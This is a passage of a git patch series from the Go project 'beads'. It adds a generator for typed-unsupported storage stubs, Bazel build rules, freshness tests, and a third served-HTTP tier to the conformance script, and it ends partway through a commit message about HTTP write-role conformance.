divergence_citation_gate_test.go (internal/httpclient) already holds the +// served tier's own skipKnownDivergence call sites to a named, ledger-cited +// reason instead of a bare t.Skip: a reviewer reading a wiring diff that adds +// a conformance.RunX reference should expect it to pass for real, or to carry +// a waiver in unwiredContractEntrypoints instead — not to compile a skip and +// call it adopted. As of this lock's current counts, no leg does this: every +// entrypoint a leg's sources name either has every hook that entrypoint's own +// cases need, or the gap is a named waiver here rather than a nil hook left +// standing behind a call this check would count as wired. func conformanceEntrypointsWiredBy(t *testing.T, dir string) (map[string]bool, []string) { t.Helper() files, err := filepath.Glob(filepath.Join(dir, "*_test.go")) diff --git a/internal/storage/unsupportedgen/BUILD.bazel b/internal/storage/unsupportedgen/BUILD.bazel new file mode 100644 index 000000000..9732d963a --- /dev/null +++ b/internal/storage/unsupportedgen/BUILD.bazel @@ -0,0 +1,57 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library", "go_test") + +go_library( + name = "unsupportedgen_lib", + srcs = ["main.go"], + importpath = "github.com/steveyegge/beads/internal/storage/unsupportedgen", + visibility = ["//visibility:private"], + deps = ["//internal/storage"], +) + +go_binary( + name = "unsupportedgen", + embed = [":unsupportedgen_lib"], + visibility = ["//:__subpackages__"], +) + +go_test( + name = "unsupportedgen_test", + srcs = ["main_test.go"], + data = ["//internal/httpclient:go_srcs"], + embed = [":unsupportedgen_lib"], +) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/unsupportedgen/main.go b/internal/storage/unsupportedgen/main.go new file mode 100644 index 000000000..6f2f899c6 --- /dev/null +++ b/internal/storage/unsupportedgen/main.go @@ -0,0 +1,382 @@ +// Command unsupportedgen regenerates the typed-unsupported shell a client +// package embeds to satisfy a storage capability interface it only partially +// implements by hand. +// +// It does NOT take a hand-maintained -skip list. The whole point of this tool +// is to make the "which methods does the shell need to cover" question +// self-answering: it parses the target package's own .go sources (every file +// except _test.go files and the file it is about to overwrite) for methods +// already declared on the given -receiver, and generates a stub for every +// OTHER method of -type storage interface is not already covered. A +// hand-written method and a generated stub can therefore never collide on the +// same selector — there is nothing to keep in sync by hand, and nothing to +// drift. +// +// Written from scratch for the S3 native-program reconciliation: this is NOT +// a port of bd-enterprise's generator (which this client's lift did not carry +// over) — only the shape of the file it must reproduce (unsupported_gen.go, +// lifted with bd-enterprise's generator before this tool existed) was read to +// match its style. +// +// Usage (see internal/httpclient/unsupported.go's //go:generate line): +// +// go run ../../storage/unsupportedgen -type DoltStorage -pkg httpclient -receiver Store -out unsupported_gen.go +package main + +import ( + "bytes" + "flag" + "fmt" + "go/ast" + "go/format" + "go/parser" + "go/token" + "log" + "os" + "path/filepath" + "reflect" + "regexp" + "sort" + "strings" + + "github.com/steveyegge/beads/internal/storage" +) + +// registry maps a -type flag value to the reflected interface it names. Adding +// a type this tool can generate a shell for is one line here; there is no +// string-based reflection trick that gets around naming it, because Go cannot +// look up a type by its source name at runtime. +var registry = map[string]reflect.Type{ + "DoltStorage": reflect.TypeOf((*storage.DoltStorage)(nil)).Elem(), +} + +func main() { + typeName := flag.String("type", "", "name of the interface to shell, from the registry in this file (e.g. DoltStorage)") + pkgName := flag.String("pkg", "", "package clause for the generated file") + receiver := flag.String("receiver", "", "base receiver type name (without *) whose existing methods this tool must not shadow") + scanDir := flag.String("scandir", ".", "directory holding the hand-written sources to scan for existing methods") + out := flag.String("out", "", "output file path, relative to scandir") + extraSkip := flag.String("skip", "", "comma-separated extra method names to exclude, beyond what the scan finds (rarely needed)") + flag.Parse() + + if *typeName == "" || *pkgName == "" || *receiver == "" || *out == "" { + log.Fatal("unsupportedgen: -type, -pkg, -receiver and -out are all required") + } + ifaceType, ok := registry[*typeName] + if !ok { + log.Fatalf("unsupportedgen: %q is not in this tool's registry (add it in main.go)", *typeName) + } + + outPath := filepath.Join(*scanDir, *out) + handWritten, err := scanHandWrittenMethods(*scanDir, *receiver, outPath) + if err != nil { + log.Fatalf("unsupportedgen: scanning %s: %v", *scanDir, err) + } + for _, name := range strings.Split(*extraSkip, ",") { + if name = strings.TrimSpace(name); name != "" { + handWritten[name] = true + } + } + + src, skipped, err := generate(*pkgName, *typeName, ifaceType, handWritten) + if err != nil { + log.Fatalf("unsupportedgen: %v", err) + } + if err := os.WriteFile(outPath, src, 0o600); err != nil { + log.Fatalf("unsupportedgen: writing %s: %v", outPath, err) + } + fmt.Fprintf(os.Stderr, "unsupportedgen: wrote %s (%d methods stubbed, %d left to the hand-written set)\n", + outPath, ifaceType.NumMethod()-skipped, skipped) +} + +// scanHandWrittenMethods parses every .go file in dir except _test.go files +// and the generator's own output file, and returns the set of method names +// declared with a receiver of type recv or *recv anywhere in the package. That +// set is exactly the method names this tool must NOT shell: generating a stub +// for one would make its selector ambiguous against the hand-written one. +func scanHandWrittenMethods(dir, recv, outPath string) (map[string]bool, error) { + absOut, err := filepath.Abs(outPath) + if err != nil { + return nil, err + } + found := map[string]bool{} + fset := token.NewFileSet() + entries, err := os.ReadDir(dir) + if err != nil { + return nil, err + } + for _, entry := range entries { + name := entry.Name() + if entry.IsDir() || !strings.HasSuffix(name, ".go") || strings.HasSuffix(name, "_test.go") { + continue + } + path := filepath.Join(dir, name) + if absPath, err := filepath.Abs(path); err == nil && absPath == absOut { + continue // this is the file we are about to overwrite + } + file, err := parser.ParseFile(fset, path, nil, 0) + if err != nil { + return nil, fmt.Errorf("%s: %w", path, err) + } + for _, decl := range file.Decls { + fn, ok := decl.(*ast.FuncDecl) + if !ok || fn.Recv == nil || len(fn.Recv.List) == 0 { + continue + } + if receiverBaseName(fn.Recv.List[0].Type) == recv { + found[fn.Name.Name] = true + } + } + } + return found, nil +} + +// receiverBaseName strips a leading "*" from a receiver type expression and +// returns its identifier, e.g. "*Store" and "Store" both yield "Store". +func receiverBaseName(expr ast.Expr) string { + if star, ok := expr.(*ast.StarExpr); ok { + expr = star.X + } + if ident, ok := expr.(*ast.Ident); ok { + return ident.Name + } + return "" +} + +// qualifiedLeak matches a package-path-qualified identifier the way a generic +// instantiation's reflect.Type.Name() leaks it, e.g. +// "github.com/steveyegge/beads/internal/types.Issue". It requires at least one +// "/" so it never matches an already-short name like "context.Context" or +// "types.IssueFilter". +var qualifiedLeak = regexp.MustCompile(`[A-Za-z0-9_.\-]+(?:/[A-Za-z0-9_.\-]+)+\.[A-Za-z_][A-Za-z0-9_]*`) + +// importSet collects the packages a generated file's method bodies reference, +// keyed by import path, so the output needs no hand-maintained import block. +type importSet map[string]string // import path -> local alias (last path segment) + +func (s importSet) add(pkgPath string) string { + if pkgPath == "" { + return "" + } + alias := pkgPath + if i := strings.LastIndex(pkgPath, "/"); i >= 0 { + alias = pkgPath[i+1:] + } + s[pkgPath] = alias + return alias +} + +// formatType renders t as the Go syntax a stub's signature can use, collecting +// every package it names into imports as it goes. +// +// A plain reflect.Type.String() is NOT enough on its own: for a generic +// instantiation (this package's one case is storage.Iter[T]), reflect leaks +// the type argument's FULL import path into both String() and Name() rather +// than the short package name every other case gets +// ("storage.Iter[github.com/steveyegge/beads/internal/types.Issue]" instead of +// "storage.Iter[types.Issue]"). This function walks the type structurally so +// composite types are built from already-short recursive calls, and for the +// generic-name case specifically, desanitizes the leaked argument with +// qualifiedLeak before recording its package and splicing it back in. +func formatType(t reflect.Type, imports importSet) string { + // A DEFINED type (Name() != "") with a composite underlying kind — e.g. + // encoding/json.RawMessage, whose Kind() is Slice over its underlying + // []byte — must be named by its declaration, not rebuilt structurally from + // its underlying kind: "[]uint8" is a different type than json.RawMessage + // as far as the compiler's interface-satisfaction check is concerned, even + // though they share a representation. Only an UNNAMED composite (a literal + // "[]string" or "map[string]int" parameter, Name()=="") falls through to + // the structural cases below. + if t.Name() != "" && t.PkgPath() != "" { + return namedType(t, imports) + } + + switch t.Kind() { + case reflect.Ptr: + return "*" + formatType(t.Elem(), imports) + case reflect.Slice: + return "[]" + formatType(t.Elem(), imports) + case reflect.Array: + return fmt.Sprintf("[%d]%s", t.Len(), formatType(t.Elem(), imports)) + case reflect.Map: + return fmt.Sprintf("map[%s]%s", formatType(t.Key(), imports), formatType(t.Elem(), imports)) + case reflect.Chan: + return "chan " + formatType(t.Elem(), imports) + case reflect.Func: + in := make([]string, t.NumIn()) + for i := range in { + if t.IsVariadic() && i == len(in)-1 { + in[i] = "..." + formatType(t.In(i).Elem(), imports) + continue + } + in[i] = formatType(t.In(i), imports) + } + out := make([]string, t.NumOut()) + for i := range out { + out[i] = formatType(t.Out(i), imports) + } + switch len(out) { + case 0: + return fmt.Sprintf("func(%s)", strings.Join(in, ", ")) + case 1: + return fmt.Sprintf("func(%s) %s", strings.Join(in, ", "), out[0]) + default: + return fmt.Sprintf("func(%s) (%s)", strings.Join(in, ", "), strings.Join(out, ", ")) + } + } + + if t.Name() != "" { + return t.Name() // predeclared: string, int, bool, error, ... + } + if t.Kind() == reflect.Interface && t.NumMethod() == 0 { + return "interface{}" + } + // Not expected anywhere in storage.DoltStorage today (no bare func types or + // anonymous structs/interfaces in its method set); fail loudly rather than + // emit something a human has to notice is wrong later. + log.Fatalf("unsupportedgen: unhandled anonymous type %s (kind %s) — formatType needs a case for it", t.String(), t.Kind()) + panic("unreachable") +} + +// reflectAliasCanonical maps a (pkgPath, name) pair that reflect reports for +// a known language-level alias's underlying type back to the alias's own +// declared (pkgPath, name), so unsupportedgen's output is stable across Go +// toolchains that change what an alias's underlying type reflects as. +// +// Go 1.27 made encoding/json.RawMessage an alias of +// encoding/json/jsontext.Value. Aliases have no runtime identity of their +// own — reflect only ever sees the underlying type — but which type counts as +// "underlying" moved: on 1.26 and earlier, reflect.TypeOf(json.RawMessage(nil)) +// reports (encoding/json, RawMessage) directly (RawMessage was a defined +// type, not an alias, at that point); starting in 1.27 it reports the new +// alias target, (encoding/json/jsontext, Value). storage.DoltStorage's +// MergeMetadata signature did not change between toolchains, so the +// generator's output must not either; this table is the fix-up. +// +// Add an entry here (never a one-off special case elsewhere in this file) if +// a future Go stdlib release aliases another type this generator formats. +var reflectAliasCanonical = map[[2]string][2]string{ + {"encoding/json/jsontext", "Value"}: {"encoding/json", "RawMessage"}, +} + +// namedType renders a DEFINED type (t.Name() != "" && t.PkgPath() != "") as +// its package-qualified declaration name, desanitizing a generic +// instantiation's leaked type-argument path the same way formatType's doc +// comment describes, and normalizing a known reflect-visible alias target +// (reflectAliasCanonical) back to the name a human wrote in source. +func namedType(t reflect.Type, imports importSet) string { + pkgPath, name := t.PkgPath(), t.Name() + if canon, ok := reflectAliasCanonical[[2]string{pkgPath, name}]; ok { + pkgPath, name = canon[0], canon[1] + } + if open := strings.IndexByte(name, '['); open >= 0 && strings.HasSuffix(name, "]") { + base := name[:open] + args := qualifiedLeak.ReplaceAllStringFunc(name[open+1:len(name)-1], func(leak string) string { + dot := strings.LastIndex(leak, ".") + return imports.add(leak[:dot]) + leak[dot:] + }) + alias := imports.add(pkgPath) + return fmt.Sprintf("%s.%s[%s]", alias, base, args) + } + alias := imports.add(pkgPath) + return alias + "." + name +} + +type stubMethod struct { + name string + params []string + results []string +} + +// generate produces the full source of the typed-unsupported shell: a stub for +// every method of iface not in handWritten. It returns the number of methods +// it left alone (the hand-written complement) alongside the formatted source. +func generate(pkgName, typeName string, iface reflect.Type, handWritten map[string]bool) ([]byte, int, error) { + imports := importSet{} + var methods []stubMethod + skipped := 0 + for i := 0; i < iface.NumMethod(); i++ { + m := iface.Method(i) + if handWritten[m.Name] { + skipped++ + continue + } + mt := m.Type + sm := stubMethod{name: m.Name} + for p := 0; p < mt.NumIn(); p++ { + sm.params = append(sm.params, formatType(mt.In(p), imports)) + } + for r := 0; r < mt.NumOut(); r++ { + sm.results = append(sm.results, formatType(mt.Out(r), imports)) + } + // errUnsupported only has an error to hand back, so a stub can only + // speak for a method whose last (or only) result is literally an + // error. Every method this tool has ever had to stub satisfies that; + // a future storage.DoltStorage method that does not needs a + // hand-written implementation (which puts it in the scanned, + // hand-written set and this tool never sees it), not a guess here. + if len(sm.results) == 0 || sm.results[len(sm.results)-1] != "error" { + log.Fatalf("unsupportedgen: %s's last result is not error (results: %v) — "+ + "it cannot be shelled by errUnsupported; implement it by hand instead", m.Name, sm.results) + } + methods = append(methods, sm) + } + sort.Slice(methods, func(i, j int) bool { return methods[i].name < methods[j].name }) + + var b bytes.Buffer + fmt.Fprintf(&b, "// Code generated by unsupportedgen (internal/storage/unsupportedgen); DO NOT EDIT.\n") + fmt.Fprintf(&b, "// Regenerate with `go generate ./...` after a storage.%s interface change.\n\n", typeName) + fmt.Fprintf(&b, "package %s\n\n", pkgName) + + if len(imports) > 0 { + paths := make([]string, 0, len(imports)) + for p := range imports { + paths = append(paths, p) + } + sort.Strings(paths) + b.WriteString("import (\n") + for _, p := range paths { + fmt.Fprintf(&b, "\t%q\n", p) + } + b.WriteString(")\n\n") + } + + shellName := "unsupported" + typeName + fmt.Fprintf(&b, "// %s is the generated typed-unsupported shell for storage.%s.\n", shellName, typeName) + fmt.Fprintf(&b, "// Every method returns *storage.ErrUnsupported via errUnsupported; embed it and\n") + fmt.Fprintf(&b, "// override the real slice. DO NOT hand-edit — regenerate with `go generate ./...`.\n") + fmt.Fprintf(&b, "type %s struct{}\n\n", shellName) + + for _, m := range methods { + var resultDecl string + switch len(m.results) { + case 0: + resultDecl = "" + case 1: + resultDecl = fmt.Sprintf(" (err %s)", m.results[0]) + default: + named := make([]string, len(m.results)) + for i, r := range m.results[:len(m.results)-1] { + named[i] = "_ " + r + } + named[len(named)-1] = "err " + m.results[len(m.results)-1] + resultDecl = fmt.Sprintf(" (%s)", strings.Join(named, ", ")) + } + params := make([]string, len(m.params)) + for i, p := range m.params { + params[i] = "_ " + p + } + fmt.Fprintf(&b, "func (%s) %s(%s)%s {\n", shellName, m.name, strings.Join(params, ", "), resultDecl) + fmt.Fprintf(&b, "\terr = errUnsupported(%q)\n", m.name) + b.WriteString("\treturn\n}\n\n") + } + + fmt.Fprintf(&b, "// NOTE: partial shell (%d of %d methods generated; %d left to this package's hand-written set).\n", + len(methods), iface.NumMethod(), skipped) + + formatted, err := format.Source(b.Bytes()) + if err != nil { + return nil, 0, fmt.Errorf("formatting generated source: %w\n--- unformatted ---\n%s", err, b.String()) + } + return formatted, skipped, nil +} diff --git a/internal/storage/unsupportedgen/main_test.go b/internal/storage/unsupportedgen/main_test.go new file mode 100644 index 000000000..7b0f1f3dc --- /dev/null +++ b/internal/storage/unsupportedgen/main_test.go @@ -0,0 +1,86 @@ +package main + +import ( + "os" + "path/filepath" + "testing" +) + +// TestGeneratedShellIsFresh is the anti-drift check this tool never had: it +// runs exactly the same scan-then-generate pipeline main() runs for the one +// registered consumer (internal/httpclient's unsupported_gen.go, built from +// storage.DoltStorage with receiver Store), and compares the result byte for +// byte against the checked-in file. A storage.DoltStorage interface change, +// a hand-written method added or removed from httpclient's Store, or an edit +// to this generator's own output shape that nobody reran `go generate` after +// is caught here instead of silently drifting until someone notices the +// shell no longer matches what the generator would produce today. +// +// Regenerate with: go generate ./internal/httpclient (see unsupported.go's +// //go:generate line, which this test mirrors). +func TestGeneratedShellIsFresh(t *testing.T) { + const ( + typeName = "DoltStorage" + pkgName = "httpclient" + receiver = "Store" + outName = "unsupported_gen.go" + ) + + // httpclient lives two levels up from this package + // (internal/storage/unsupportedgen -> internal/httpclient). + scanDir := filepath.Join("..", "..", "httpclient") + outPath := filepath.Join(scanDir, outName) + + ifaceType, ok := registry[typeName] + if !ok { + t.Fatalf("%q is not in this tool's registry (add it in main.go)", typeName) + } + + handWritten, err := scanHandWrittenMethods(scanDir, receiver, outPath) + if err != nil { + t.Fatalf("scanning %s: %v", scanDir, err) + } + + want, _, err := generate(pkgName, typeName, ifaceType, handWritten) + if err != nil { + t.Fatalf("generate: %v", err) + } + + got, err := os.ReadFile(outPath) + if err != nil { + t.Fatalf("reading checked-in %s: %v", outPath, err) + } + + if string(got) != string(want) { + t.Fatalf("%s is stale: it does not match what this generator produces today.\n"+ + "This file is generated and must not be hand-edited.\n"+ + "Regenerate it with:\n"+ + " go generate ./internal/httpclient", outPath) + } +} + +// TestScanHandWrittenMethodsExcludesOwnOutput pins the one correctness +// property the freshness check above silently depends on: scanning must +// never see the generator's own prior output as "hand-written," or every +// method the shell currently stubs would get treated as already covered and +// the next regeneration would stub nothing at all. +func TestScanHandWrittenMethodsExcludesOwnOutput(t *testing.T) { + scanDir := filepath.Join("..", "..", "httpclient") + outPath := filepath.Join(scanDir, "unsupported_gen.go") + + handWritten, err := scanHandWrittenMethods(scanDir, "Store", outPath) + if err != nil { + t.Fatalf("scanning %s: %v", scanDir, err) + } + + // unsupportedDoltStorage's receiver is unsupportedDoltStorage, not Store, + // so none of its stub method names should ever land in the Store-receiver + // hand-written set purely by virtue of being in the output file -- but to + // catch a regression where the output file itself was scanned anyway, + // assert directly that scanning skipped it: a method this generator is + // known to stub today (AsOf, from storage.DoltStorage's version-control + // family) must not appear as hand-written on Store. + if handWritten["AsOf"] { + t.Error(`handWritten["AsOf"] = true, want false -- scanHandWrittenMethods appears to have scanned its own output file`) + } +} diff --git a/internal/storage/uow/lifecycle_close_reopen_contract_test.go b/internal/storage/uow/lifecycle_close_reopen_contract_test.go index 0282aa3d2..c495de06a 100644 --- a/internal/storage/uow/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/uow/lifecycle_close_reopen_contract_test.go @@ -63,6 +63,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ResultsAreHydratedPostStateSnapshots", func(t *testing.T) { conformance.RunLifecycleResultsAreHydratedPostStateSnapshots(t, ctx, fixture) }) + t.Run("ResultsCarryThePostWriteRowVersion", func(t *testing.T) { + conformance.RunLifecycleResultsCarryThePostWriteRowVersion(t, ctx, fixture) + }) t.Run("CloseAndReopenRequireActorAndIssueID", func(t *testing.T) { conformance.RunLifecycleCloseAndReopenRequireActorAndIssueID(t, ctx, fixture) }) diff --git a/scripts/conformance.sh b/scripts/conformance.sh index cbe5b8470..7f20c25ac 100755 --- a/scripts/conformance.sh +++ b/scripts/conformance.sh @@ -4,13 +4,15 @@ # # ./scripts/conformance.sh # -# Two tiers exercise the storage conformance contract: the in-process storage -# corpus against the embedded-Dolt oracle, then the real-binary CLI corpus. -# CI runs the same two tiers as Bazel targets, remotely: +# Three tiers exercise the storage conformance contract: the in-process +# storage corpus against the embedded-Dolt oracle, the real-binary CLI +# corpus, then the served HTTP client/role corpus against a real server. +# CI runs all three tiers as Bazel targets, remotely: # # bazel test --config=embedded //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test \ # //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test # bazel test --config=integration //test/conformance:conformance_test +# bazel test --config=embedded //internal/httpclient:httpclient_served_test # set -euo pipefail cd "$(dirname "$0")/.." @@ -50,4 +52,20 @@ assert_conformance_passed "$embedded_dolt_log" "embedded-Dolt reference (need BE echo "==> Tier 2: end-to-end 'bd init' + CLI conformance (reference round-trip)" CGO_ENABLED=1 go test -tags "$TAGS e2e" -timeout 10m ./test/conformance/ +echo "==> Tier 3: served HTTP client/role conformance (real server, real wire)" +# The httpclient package's served_*_test.go files are gated by the `cgo` +# build tag (set automatically when CGO_ENABLED=1; no -tags entry needed) and +# self-skip without BEADS_TEST_EMBEDDED_DOLT=1 + BEADS_HTTP_TEST_REQUIRED=1 -- +# the latter is a fail-loud guard (not a silent skip) if it's set without the +# former, so a misconfigured env can't report a false green here either. +# Nor can a build with cgo off, which drops every served file: the package's +# untagged TestServedTierIsLinkedWhenRequired fails a required run then. +# Here the tier is one unsharded invocation, like Tier 1 and Tier 2 above; +# -timeout=40m matches the budget the review asked for. The embedded lane's +# httpclient_served_test runs the same package and env on the race build, +# split into shards (rules_go deals the tests out round-robin) so each fits +# the lane's 1200s action limit. +CGO_ENABLED=1 BEADS_TEST_EMBEDDED_DOLT=1 BEADS_HTTP_TEST_REQUIRED=1 \ + go test -tags "$TAGS" -timeout=40m ./internal/httpclient/ + echo "==> conformance OK" diff --git a/scripts/conformance_script_test.go b/scripts/conformance_script_test.go index 754580428..ce41f1067 100644 --- a/scripts/conformance_script_test.go +++ b/scripts/conformance_script_test.go @@ -6,6 +6,7 @@ import ( "os/exec" "path/filepath" "reflect" + "regexp" "runtime" "strconv" "strings" @@ -21,6 +22,7 @@ func TestConformanceScriptUsesExplicitTimeoutBudgets(t *testing.T) { want := [][]string{ {"test", "-tags", "gms_pure_go", "-v", "-timeout", "30m", "./internal/storage/embeddeddolt/", "-run", "TestConformance"}, {"test", "-tags", "gms_pure_go e2e", "-timeout", "10m", "./test/conformance/"}, + {"test", "-tags", "gms_pure_go", "-timeout=40m", "./internal/httpclient/"}, } if !reflect.DeepEqual(run.calls, want) { t.Fatalf("go calls = %#v, want %#v", run.calls, want) @@ -36,6 +38,7 @@ func TestConformanceScriptPropagatesGoTestFailures(t *testing.T) { }{ {name: "tier 1", failCall: 1, exitCode: 41, wantCalls: 1}, {name: "tier 2", failCall: 2, exitCode: 42, wantCalls: 2}, + {name: "tier 3", failCall: 3, exitCode: 43, wantCalls: 3}, } for _, test := range tests { @@ -67,8 +70,10 @@ func conformanceExitCode(err error) int { // (TestBazelEmbeddedJobRunsEmbeddedTier pins their flags), Tier 2 the // integration lane's //test/conformance:conformance_test, pinned here to the // script's tier: both harness files, built under the e2e or integration tag, -// against the injected non-race bd. conformance.yml, which ran the script on -// a GitHub runner, is gone. +// against the injected non-race bd. Tier 3 is the embedded lane's +// //internal/httpclient:httpclient_served_test +// (TestConformanceServedTierRunsUnderBazel). conformance.yml, which ran the +// script on a GitHub runner, is gone. func TestConformanceE2ETierRunsUnderBazel(t *testing.T) { root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, "test/conformance/BUILD.bazel"), "conformance_test") @@ -97,6 +102,38 @@ func TestConformanceE2ETierRunsUnderBazel(t *testing.T) { } } +// Tier 3's Bazel target runs the script's Tier 3 package, the httpclient +// go_test binary, with every BEADS_* switch the script sets for it: the one +// that stands the served corpus up and the one that makes it required. A +// switch the script gains that the target lacks fails here; +// TestBazelRetiredLanesCannotBeNarrowed pins the target's args and env +// exactly. +func TestConformanceServedTierRunsUnderBazel(t *testing.T) { + root := sourceRepoRoot(t) + tier := regexp.MustCompile(`(?m)^((?:[A-Z_]+=\S+ )+)\\\n\s+go test -tags "\$TAGS" -timeout=40m \./internal/httpclient/$`). + FindStringSubmatch(readPolicyFile(t, root, "scripts/conformance.sh")) + if tier == nil { + t.Fatal("scripts/conformance.sh has no Tier 3 `... go test -tags \"$TAGS\" -timeout=40m ./internal/httpclient/` invocation") + } + switches := regexp.MustCompile(`\b(BEADS_[A-Z_]+)=(\S+)`).FindAllStringSubmatch(tier[1], -1) + if len(switches) < 2 { + t.Fatalf("parsed only %v from Tier 3's env %q", switches, tier[1]) + } + rule := bazelRuleBlock(readPolicyFile(t, root, "internal/httpclient/BUILD.bazel"), "httpclient_served_test") + if rule == "" { + t.Fatal("internal/httpclient/BUILD.bazel has no httpclient_served_test") + } + want := []string{`"$(rootpath :httpclient_test)",`, `data = [":httpclient_test"],`, `tags = ["embedded"],`} + for _, sw := range switches { + want = append(want, `"`+sw[1]+`": "`+sw[2]+`",`) + } + for _, w := range want { + if !strings.Contains(rule, w) { + t.Errorf("//internal/httpclient:httpclient_served_test lacks %q:\n%s", w, rule) + } + } +} + type conformanceRun struct { output string calls [][]string diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index d2a5da2d9..edf17a537 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -1007,6 +1007,13 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { []string{"$(rootpath :embeddeddolt_race_off)", "-test.v", "-test.count=1", "-test.timeout=19m", "-test.run=^(TestBatchApplyContract|TestLargeBatchApplyWallClock_Embedded|TestLargeBatchApplyStatementCounts712_Embedded|TestCreateBatchFastPathsMatchPerRowLarge_Embedded)$$"}, map[string]string{"BEADS_TEST_EMBEDDED_DOLT": "1"}, }, + // scripts/conformance.sh's Tier 3, the served HTTP corpus, with the + // script's switches: required, so a missing engine fails each served + // case instead of skipping it. + "//internal/httpclient:httpclient_served_test": { + []string{"$(rootpath :httpclient_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, + map[string]string{"BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_EMBEDDED_DOLT": "1"}, + }, "//cmd/bd:bd_proxied_test": { []string{"$(rootpath //:.github/scripts/proxied-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)"}, map[string]string{ diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 2c8fa7459..e35ecd946 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -250,6 +250,7 @@ release_cross_build( "//internal/storage/sqlclass:sqlclass", "//internal/storage/sqlcount:sqlcount", "//internal/storage/storagecontract:storagecontract", + "//internal/storage/unsupportedgen:unsupportedgen", "//internal/storage/uow:uow", "//internal/storage/versioncontrolops:versioncontrolops", "//internal/storage:storage", From 2dda7052e07753eae81e413fc21f509d95c685c9 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 16:28:56 +0000 Subject: [PATCH 177/325] =?UTF-8?q?feat(httpclient):=20write-role=20confor?= =?UTF-8?q?mance=20on=20the=20http=20leg=20=E2=80=94=20ceiling=20to=20zero?= =?UTF-8?q?,=20sweeper=20extension=20(S4)=20(#7251)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(httpclient): wire the S4 Sweeper extension (wisps-plane, live-dependent protection, limit) Publish SweepRequest.ProtectLiveDependents and .Limit (plus a wisps-plane tier and SweepResult.Remaining/.LiveDependent) on the v0 wire behind three new behavior-capability tokens (issues.sweep.wispsPlane, issues.sweep.liveDependents, issues.sweep.limit), and wire the client to send them once the handshake advertises the tokens (refuseUnservedSweep otherwise). Retire the two W-SweepRequest ledger rows that previously refused these fields for lack of a wire member. CurrentWireRevision stays at 2. A new wisps-plane SweepRequest.Tier value is a request-only enum widening: it cannot cause an older client to misdecode a response, and it is already gated by its own capability token, so it is additive rather than a wire break. Teach wireshape's drift gate that distinction directly: a Digest.Sides side channel records whether each schema member is request-only, response-only or both, and widensAdditively now treats a request-only enum's new value as additive while still treating any response-side widening as breaking, with tests pinning both directions and a regenerated golden.json. min_client_wire_revision stays 0. internal/httpapi/apigen/types.gen.go and openapi.v0.yaml's comments are regenerated/updated to match (make api-gen). Six served Sweeper contracts that were parked now run for real against the in-process HTTP server; TestSweepSendsTheS4MembersOnceTheServerAdvertisesThem pins the capability-gated encode. Re-review fix: walk()'s side classification short-circuited on a name-only visited set, so a node already walked from one side never had its CHILDREN walked again when a later path promoted the parent to "both" — children stayed classified under whichever side reached them first, order-dependent on Go's map iteration. Side recursion is now guarded per (schema, side) pair (sideWalked, keyed on name+"\x00"+side) instead of per schema name alone, so a child reachable from both sides is always walked, and therefore recorded, from both. Added TestSidePropagatesToNestedChildren (a named grandchild and an inline nested child both reachable from a request body and, via a wrapper, a response, assert "both" on every level and that widening either enum breaks instead of being classed additive), TestEnumWideningOnSharedNestedChildIsNotAdditive, and TestComputeFromSideAssignmentIsDeterministic (200 runs, asserts identical Sides/Entries every time). golden.json is confirmed unchanged by the fix (regenerated and diffed byte-for-byte). Also removes a bd-enterprise mention introduced in this slice's own write_ledger_test.go comment (not a provenance header) in favor of neutral wording. Co-Authored-By: Claude Sonnet 5 * fix(storage): ratchet the http leg's role-contract ceiling to zero Classify all 42 previously-ceilinged http-leg entrypoints and clear the ceiling: - ExpectedRevision + Refusal (10): wire a Phase-0 all-nil fixture, matching every other backend's current (unbuilt-CAS-feature) state. Said honestly: these ten entrypoints are counted here, the hook is unbuilt on every leg (not just this one), and every case runs zero assertions until a CompareAndSetVersion wire operation exists for this client to bind. - Lifecycle ExpectedVersion concurrency (4): wire the two races that land on Priority/Notes and on Close for real over the served HTTP harness (precondition_failed decodes to storage.ErrVersionMismatch via errors.Is, same as the local legs). The other two, which race IssuePatch.SpecID/.AwaitID/.Owner edits against updateIssue, stay waived, but PENDING rather than permanent: IssuePatchBody refuses those three fields outright (W-IssuePatch.SpecID/.AwaitID/.Owner, D8 refuse-not-drop) rather than ever sending them, so the race never reaches the wire today. Closing the gap means publishing those fields on the wire, tracked as a follow-up slice, S4b: publish owner/spec_id/await_id on the wire. - DualWrite (6): wired for real instead of waived. Mutate and MutateAsNoOp drive the client's Lifecycle role (Create/Update) against an in-process served harness with its own reference store, so VersionedHistoryConfigurer can be toggled per fixture; CurrentRevision, VersionRowCount and LatestVersionAttribution read the reference store's raw columns the same way every other served fixture's postcondition hooks do. All six FR-1/FR-2/FR-3/FR-5/FR-7 cases (one version row per accepted mutation, no-op skip, atomic attribution, current_revision parity, and flag-off producing no rows) now run and pass. - VersionReconciler + InitVerifier (13), and the raw IssueOperationsUpdate seam (3): waived — unservable over a typed HTTP role boundary, not a wiring gap. adoptionCeiling: 42 -> 0 for the http leg; the "adopting" field is 